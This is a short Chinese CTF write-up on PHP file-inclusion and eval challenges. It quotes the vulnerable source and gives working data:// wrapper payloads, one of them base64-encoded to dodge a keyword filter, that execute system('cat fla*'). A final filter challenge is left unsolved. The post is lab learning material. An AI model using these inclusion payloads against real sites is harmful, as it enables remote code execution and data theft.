error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
与前面的相比,这次直接换掉了eval()
函数,变成了include
用伪协议写入数据流,读取flag
payload:?c=data://text/plain,<?php system("cat fla*")?>
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
ban掉了file
和php
,直接用base64绕过去就行
payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhKiIpPz4=
这里应该使用php的base64_encode($str)
函数加密一下字符串,否则不匹配
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
增加了后缀的限制,回在最后传入的时候添加.php
后缀,限制了传入,但是并不严谨,因为前面的语句已经执行完毕。
payload:?c=data://text/plain,<?php system("cat fla*")?>
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
啊不行了,明天看师傅们的wp吧,鸽了
豫ICP备20003564号-1 / shng